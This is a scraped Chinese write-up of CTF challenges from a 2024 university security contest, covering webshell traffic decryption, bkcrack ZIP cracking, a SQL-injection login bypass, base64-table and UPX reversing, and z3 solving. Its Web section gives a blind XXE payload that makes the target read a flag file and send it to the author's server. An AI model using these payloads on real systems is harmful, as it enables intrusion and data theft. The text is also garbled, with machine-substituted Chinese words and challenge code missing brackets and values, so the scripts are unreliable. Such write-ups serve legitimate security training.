【2024高校网络安全管理运维赛】巨细记录!
2024高校网络安全管理运维赛MISC
签到
考点:动态图片分帧提取
没啥好说的,给了一个动态的flag 所以用在线或者StegServer工具都可以分帧提取
然后按照图片所述,上cyberchef rot13解密
easyshell
考点:流量分析 冰蝎3.0
https://img-blog.csdnimg.cn/img_convert/581d65adf23fd0a40804809a8397dba9.png
打开后过滤一下http
追踪http流
https://img-blog.csdnimg.cn/img_convert/7a0f58d15b004b012e28930a17476433.png
先分析一下特征,发现是冰蝎3
判断条件:参考:https://blog.csdn.net/pingan233/article/details/129168134
[*]Accept字段
Accept: text/html,image/gif, image/jpeg, *; q=.2, */*; q=.2
https://img-blog.csdnimg.cn/img_convert/74481fe83da113af2f85f697a5b00b42.png
[*]UserAgent字段
(这个图是在网上搜的,版权原因师傅们可以自行搜索一下网上都有)https://img-home.csdnimg.cn/images/20230724024159.png?origin_url=C%3A%5CUsers%5Cjayq%5CAppData%5CLocal%5CTemp%5C5e7c6b6a5447407b9fd393db54d8f3f1.jpeg&pos_id=img-I2gXJ7Mo-1715106237468
https://img-blog.csdnimg.cn/img_convert/542e6b11adc6ab8584f28527c1ea49e1.png
[*]长连接
https://img-blog.csdnimg.cn/img_convert/8b503484f041b01bb44791c554e4f4a5.png
到此确定为冰蝎3
然后去翻到下面看返回的数据,须要对其发送哀求的内容举行解密
冰蝎3主要就两层加密如下:
AES + BASE64解密
https://img-blog.csdnimg.cn/img_convert/2b63d34f9e8409cffa28d5442e0c3b6a.png
https://blog.csdn.net/weixin_46081055/article/details/120007338
此中AES的密钥一样平常是默认的e45e329feb5d925b
iv全设置为0
去一点点追踪http流看看解密后内容
主要是看蓝色返回包内容
https://img-blog.csdnimg.cn/img_convert/626bf091d76222c4e8d7459e1f83fe01.png
从少的开始 从后往前
AES:
https://img-blog.csdnimg.cn/img_convert/b0dae91cea40f2ac348630091064cadf.png
https://img-blog.csdnimg.cn/img_convert/4431235fbfc8c3d218e5106d83f51762.png
注意这段非常紧张
继续往上
https://img-blog.csdnimg.cn/img_convert/320edb389617a1c2c10505bca4855116.png
检测到压缩包PK开头特征
https://img-blog.csdnimg.cn/img_convert/f96218481ff66010c43f121414ff84a8.png
提取zip 直接按右边的保存即可提取乐成
https://img-blog.csdnimg.cn/img_convert/555af4c130cf8fbc83d119795d282b27.png
https://img-blog.csdnimg.cn/img_convert/6e9f822fad2913f1cbc6c85d6c9bccf2.png
两个文件 secret1 和 secret2在一个压缩包里 但是都须要密码
在往上走
https://img-blog.csdnimg.cn/img_convert/df06c1e96568bb98d11ad81cae2d07fa.png
此中对最后两个解密 第一个是secret2.txt
第二个是temp.zip
这和我们的提取出来的非常同等啊
就这几个信息 还能干嘛 回想我们之前拿到一段奇怪的明文 推测这就是secret2.txt的内容 而我们的flag就是secret1的内容
那么这个压缩包已知此中一个文件内容,利用已知明文攻击,上工具bkcrack
首先构造一下文件目录 测试了
https://img-blog.csdnimg.cn/img_convert/a36bd9e9bc38f21dcd1b2521860e2e18.png
https://img-blog.csdnimg.cn/img_convert/a32ff2faecb590ddc18ba716295e3b93.png
know.zip放的内容如上
构造下令:
bkcrack -C download.zip -c secret2.txt -P know.zip -p secret2.txt
此中-C表示密文(cipher),-p为明文(plaintext),明文和密文中明文的部分对应,这么说是因为上午试过了把secret.txt或者整个压缩包作为密文,然后都找不出key!
然后-C应该是指外层文件,-c应该是内层文件
https://img-blog.csdnimg.cn/img_convert/991341f5f602515c92d7330c150a3afd.png
拿到key后的下一步 解到新的zip文件中 并自己设置密码为happysu
bkcrack -C download.zip -k <key> -U flag.zip happysu
https://img-blog.csdnimg.cn/img_convert/a44c8b8f3d72a2994fca9d2c0f95a67a.png
在flag.zip中拿下
https://img-blog.csdnimg.cn/img_convert/7efaa80474dc2e193806e588a572e793.png
参考:https://blog.csdn.net/Rick66Ashley/article/details/130015948
Web
phpsql
考点:sql万能钥匙
开题是一个登录界面,起初的思路是sql注入,队友试了时间盲注和布尔盲注
但是很慢也报不出来,看着解数增长的这么快,我们感觉可能是思路错了,应该是想复杂了,那就试试万能钥匙吧
下面是解题思路
https://img-blog.csdnimg.cn/img_convert/58adc5c78ce45b405b8f439a6385e8aa.png
首先随便测一个 可以去注册,既然出题人写了注册功能,肯定要给我们什么信息吧
https://img-blog.csdnimg.cn/img_convert/f7afb736a0074013dfadcc485500ad9e.png
注册好后,登录,可以发现须要登录一个admin用户
结合标题形貌 > 你能成为管理员吗 可以确定须要作为admin用户登录
先实验一下对用户名采取万能钥匙
https://img-blog.csdnimg.cn/img_convert/4c7b4e1606d4c85d4937fd18ca7411e9.png
败了
https://img-blog.csdnimg.cn/img_convert/3f3bc41d1dca78f5605d853e3a85fd6a.png
那么 非常新奇的思路来了!确定用户名是admin 所以对密码举行万能钥匙!
不能有空格 故输入'||1#
登录乐成,直接拿下:
https://img-blog.csdnimg.cn/img_convert/cf05dab46b1000f643f836529e0ade3b.png不过关于这题还要补充一下:其实在真实场景中对密码举行这样的sql注入是不公道> 的,毕竟绝大多网站都会把密码转md5加密后存储
fileit
考点:xml注入 外带
首先开题,就一个非常直白的界面
Ctrl+U 看一下
https://img-blog.csdnimg.cn/img_convert/08df9b927ae39bb803e3dd7b05b69da8.png
非常明显的提示,但是我不懂,搜一下
https://img-blog.csdnimg.cn/img_convert/095366316c13a1346190597030cd9d38.png
不是很理解 呜呜 问一下gpt
simplexml_import_dom() 函数用于将 DOM(文档对象模型)节点转换为 SimpleXML(简朴 XML)节点。DOM 是一种树状布局,表示 XML 文档的完整内容,而 SimpleXML 则是 PHP 中一种简朴且易于使用的 XML 剖析器,允许开发者使用面向对象的方式轻松地处置惩罚 XML 数据。
与 XXE(XML 外部实体注入)相关的内容是在处置惩罚 XML 数据时可能遇到的安全问题。XXE 攻击利用 XML 剖析器的功能,通过向 XML 文档中插入恶意实体来获取敏感信息或执行远程代码。在 PHP 中,SimpleXML 剖析器对外部实体默认是启用的,这意味着如果应用步伐在处置惩罚用户提供的 XML 数据时不小心暴露了 XML 剖析器,就有可能成为 XXE 攻击的目的。
此外其实看到这个函数 可以一眼定XML外部实体注入 且无回显,因为弊端源码如下:
<?php
$xmlfile=file_get_contents('php://input');
$dom=new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$xml=simplexml_import_dom($dom);
$xxe=$xml->xxe;
$str="$xxe \n";
?>
所以我们来实验一下XML外部实体注入 界面没什么回显 就是XML外部实体注入 使用payload直接梭 注意把ip换成自己服务器的
发包内容:
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://192.168.134.128/eval.xml">
%remote;%payload;%send;
]>
自己的服务器上接收数据:
eval.xml
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///d:/flag.txt">
<!ENTITY % payload "<!ENTITY % send SYSTEM 'http://192.168.134.128/?content=%file;'>">
参考来源:http://tttang.com/archive/1716/#toc__6
https://img-blog.csdnimg.cn/img_convert/6e20d49d6404a1c49ffe86023b20c3d8.png
其实一开始可以先读个file:///etc/passwd 测试一下
那么接下来是对欣赏器抓包 这里其实其时踩坑了 因为标题情况一开始不出网 所以根本没法打 后面重启了一下才可以
抓包后修改一下哀求包范例
https://img-blog.csdnimg.cn/img_convert/25eefca39f1fd2c2ce000efd3ead35de.png
起初content-Type是没有的
https://img-blog.csdnimg.cn/img_convert/f3db094ef0e0af90621031d9a9dd1981.png
改成这样
https://img-blog.csdnimg.cn/img_convert/ac3021a736881e994015ce9db199454d.png
个人踩坑:
https://img-blog.csdnimg.cn/img_convert/4a5861ed3b1f3e03999c8551a3fb129d.png
httpd 也就是nginx没启动 没设置开机自启
启动下令
systemctl status nginx #状态
systemctl start nginx #启动
https://img-blog.csdnimg.cn/img_convert/2f02926db0b52dd741f4d07850abb94f.png
查察服务器访问日记
拿下:
https://img-blog.csdnimg.cn/img_convert/0d6716c912b223cdfcba94f032c3cc3c.png
Crypto
secretbit
考点:代码阅读理解 频率分析
标题:
from secret import flag
from random import randrange, shuffle
from Crypto.Util.number import bytes_to_long
from tqdm import tqdm
def instance(m, n):
#随机性
start = list(range(m))
shuffle(start)
for i in range(m):
now = start
this_turn = False
for j in range(n-1):
if now == i:
this_turn = True
break
now = start
if not this_turn:
return 0
return 1
def leak(m, n, times=2000):
message =
return message
MAX_M = 400
MIN_M = 200
#把flag转成整形然后再转为二进制
flag_b = ]
leak_message = []
for bi in tqdm(flag_b):
#对每一个二进制位操作
#生成合适的tmp_m0 n0 m1 n1
while True:
# m = 200 - 400
# n = 100 - 356
tmp_m0 = randrange(MIN_M, MAX_M)
tmp_n0 = randrange(int(tmp_m0//2), int(tmp_m0 * 8 // 9))
tmp_m1 = randrange(MIN_M, MAX_M)
tmp_n1 = randrange(int(tmp_m1//2), int(tmp_m1 * 8 // 9))
if abs(tmp_m0-tmp_m1-tmp_n0+tmp_n1) > MAX_M // 5:
break
choose_m = tmp_m0 if bi == 0 else tmp_m1
choose_n = tmp_n0 if bi == 0 else tmp_n1
leak_message.append([, , leak(choose_m, choose_n)])
#需要做的是 每一个flag的bit位都会生成一组泄露数据
# 我们知道tmpm0和tmpn0 以及 tmpm1和tmpn1需要通过leak的0 1值 去恢复 choose_m 和 choose_n
open('data.txt', 'w').write(str(leak_message))
解题:
此中注释都是自己加的,固然一开题照旧有点懵的,但是这个题作为我这种菜鸡密码人的唯一的倔强,ai谁人根本看不懂,只能来好好分析一下咯
先写一点小demo举行测试一下instance函数在干什么
首先是对于shuffle
start = list(range(10))
print(start)
shuffle(start)#直接打乱 不需要接收
print(start)
result:
这个对标题也没有什么影响,相识一下就好
下面是最关键的
我们知道tmpm0和tmpn0 以及 tmpm1和tmpn1 须要通过leak的0 1值 去恢复 choose_m 和 choose_n到底是即是哪个
所以我们把tmpm0和tmpn0 以及 tmpm1和tmpn1 都跑一遍这个leak函数 看看结果
https://img-blog.csdnimg.cn/img_convert/07dd42f90cfa16609b4ce30fd5af68a3.png
https://img-blog.csdnimg.cn/img_convert/f058649ef5da0d1b01450c3635ca951c.png
两次结果来对比一下,哇靠,一模不一样啊 这打个集贸啊
思索思索,必须恢复,那我们要看看频率了 看看1和0的频率
针对0和1统计频率 你能想到什么!肯定是求和!非常方便
https://img-blog.csdnimg.cn/img_convert/9a15da35047d812b2832526309695509.png
可以发现频率是比力稳定的
看看另一个
https://img-blog.csdnimg.cn/img_convert/66a32ac356eeec9a5ee9b058f78c8b2b.png
其实差距照旧蛮大的 所以说 判断的方法就是 两个都自己当地leak一次 得到频率 然后读取标题泄漏的数据 得到真实的频率 两个自己生成的看看哪个接近 就能判断当前的bit位是谁啦
exp:
from random import randrange, shuffle
from Crypto.Util.number import bytes_to_long
from tqdm import tqdm
def instance(m, n):
#随机性
start = list(range(m))
shuffle(start)
for i in range(m):
now = start
this_turn = False
for j in range(n-1):
if now == i:
this_turn = True
break
now = start
if not this_turn:
return 0
return 1
def leak(m, n, times=2000):
message =
return message
with open('data.txt', 'r') as file:
# 读取文件中的数据
data = file.read()
# 将读取的字符串数据转换为列表注意这是一个三元组
leak_message = eval(data)
flag_b = []
#对flag的每一个bit泄露进行操作
for bit in leak_message:
m0 = bit
n0 = bit
m1 = bit
n1 = bit
res = sum(bit)
res0 = sum(leak(m0, n0))
res1 = sum(leak(m1, n1))
#如果0接近
if abs(res0 - res) < abs(res1 - res):
flag_b.append('0')
else:
flag_b.append('1')
print(''.join(flag_b))
print(''.join(flag_b))
10min左右
拿下:
a = 0b110011001101100011000010110011101111011011101000110100001101001011100110101111100110001011100110101111101110100011010000110010101011111011100110100010101100011011100100110010101110100010111110110011000110001011000010110011101111101
b = int(a)
print(long_to_bytes(b))
#b'flag{this_1s_the_sEcret_f1ag}'
RE
easyre
考点:base64换表
开题
shift+F12 打开字符串
https://img-blog.csdnimg.cn/img_convert/f4393b908b00108d6761b0a51decc14b.png
一眼定 base64换表
https://img-blog.csdnimg.cn/img_convert/c54ba6ee4767388052d00d8dcf0368b4.png
babyre
考点:UPX脱壳,Z3求解
开题一看 这么几个函数,必定加壳了
https://img-blog.csdnimg.cn/img_convert/9fc0518cc0317a183dc7ead5672906b3.png
用exeinfo查一下
https://img-blog.csdnimg.cn/img_convert/e8883ea810e81d52b4c4f2cb05f5a402.png
发现是UPX壳 用给出的下令脱壳
https://img-blog.csdnimg.cn/img_convert/096836cab8779809c65c562874ae1e78.png
同样先shift+F12查察一下字符串
https://img-blog.csdnimg.cn/img_convert/5802f5b98b89d64fb0f6c602faef46b6.png
找到非常吸睛的flag!
https://img-blog.csdnimg.cn/img_convert/4aff76e5f8229194fcb20b59332e45ce.png
显然有四个加密点,须要我们去恢复,只要恢复回来就会直接输出flag
注意我们的目的是让每个函数都返回0 避免跳转到LABEL_7
https://img-blog.csdnimg.cn/img_convert/bb1b6bb7db9b404d37af23fc4b5dd208.png
Part1:
https://img-blog.csdnimg.cn/img_convert/80b00373e01c166a824b93f6cd135d21.png
第一部分的条件非常清晰
a1 - 0xADB1D018 == 0x36145344
Part2:
https://img-blog.csdnimg.cn/img_convert/4c3534bafbfc7948da701081bea4caae.png
(a1 | 0x8E03BEC3) - 3 * (a1 & 0x71FC413C) + a1 == 0x902C7FF8
Part3:
https://img-blog.csdnimg.cn/img_convert/e913910384752e606d424ce8b5fc340d.png
a1 < 0x10000000
4 * ((~a1 & 0xA8453437) + 2 * ~(~a1 | 0xA8453437))
+ -3 * (~a1 | 0xA8453437)
+ 3 * ~(a1 | 0xA8453437)
- (-10 * (a1 & 0xA8453437)
+ (a1 ^ 0xA8453437)) == 551387557
Part4:
11 * ~(a1 ^ 0xE33B67BD)
+ 4 * ~(~a1 | 0xE33B67BD)
- (6 * (a1 & 0xE33B67BD)
+ 12 * ~(a1 | 0xE33B67BD))
+ 3 * (a1 & 0xD2C7FC0C)
+ -5 * a1
- 2 * ~(a1 | 0xD2C7FC0C)
+ ~(a1 | 0x2D3803F3)
+ 4 * (a1 & 0x2D3803F3)
- -2 * (a1 | 0x2D3803F3) == 0xCE1066DC
注意上面的a1不肯定是最终的a4 因为参数不一样
使用z3求解器
from z3 import *s = Solver()a4 = BitVec("a4", 32)a1 = BitVec("a1", 32)a2 = BitVec("a2", 32)a3 = BitVec("a3", 32)s.add( a1 - 0xADB1D018 == 0x36145344
)s.add( (a2 | 0x8E03BEC3) - 3 * (a2 & 0x71FC413C) + a2 == -1876131848 )s.add( 4 * ((~a3 & 0xA8453437) + 2 * ~(~a3 | 0xA8453437)) + -3 * (~a3 | 0xA8453437) + 3 * ~(a3 | 0xA8453437) - (-10 * (a3 & 0xA8453437)+ (a3 ^ 0xA8453437)) == 551387557 )s.add(11 * ~(a4 ^ 0xE33B67BD) + 4 * ~(~a4 | 0xE33B67BD) - (6 * (a4 & 0xE33B67BD) + 12 * ~(a4 | 0xE33B67BD)) + 3 * (a1 & 0xD2C7FC0C) + -5 * a1 - 2 * ~(a1 | 0xD2C7FC0C) + ~(a1 | 0x2D3803F3) + 4 * (a1 & 0x2D3803F3) - -2 * (a1 | 0x2D3803F3) == 0xCE1066DC)if s.check() == sat: print(s.model())else: print("???? ERROR") 直接梭了
result:
[a3 = 78769651,
a4 = 2341511158,
a2 = 98124621,
a1 = 3821413212]
https://img-blog.csdnimg.cn/img_convert/e24b8fcf3c21b8563971b3e71334b982.png
拿下:flag{e3c6235c-05d9434d-04b1edf3-8b909ff6}
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页:
[1]